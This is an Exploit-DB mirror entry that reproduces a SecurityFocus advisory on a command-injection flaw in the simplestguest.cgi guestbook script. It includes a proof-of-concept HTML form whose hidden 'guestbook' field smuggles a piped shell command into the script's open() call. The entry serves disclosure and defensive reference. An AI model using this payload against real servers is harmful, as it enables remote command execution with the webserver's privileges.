mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-10 22:11:29 -10:00
15 lines
984 B
HTML
Executable File
15 lines
984 B
HTML
Executable File
source: http://www.securityfocus.com/bid/2106/info
|
|
|
|
A vulnerabiliy exists in Leif M. Wright's simplestguest.cgi, a script designed to coordinate guestbook submissions from website visitors.
|
|
|
|
An insecure call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privileges of the webserver.
|
|
|
|
Make a html form similar to:
|
|
|
|
<form action=/cgi-bin/simplestguest.cgi method=POST>
|
|
                 <input type=hidden name=required value="NAME">
|
|
                 <input type=hidden name=guestbook
|
|
                value=" | <COMMAND> |">
|
|
                 <input type=hidden name="NAME" value="user">
|
|
                 <input type=submit>
|
|
</form> |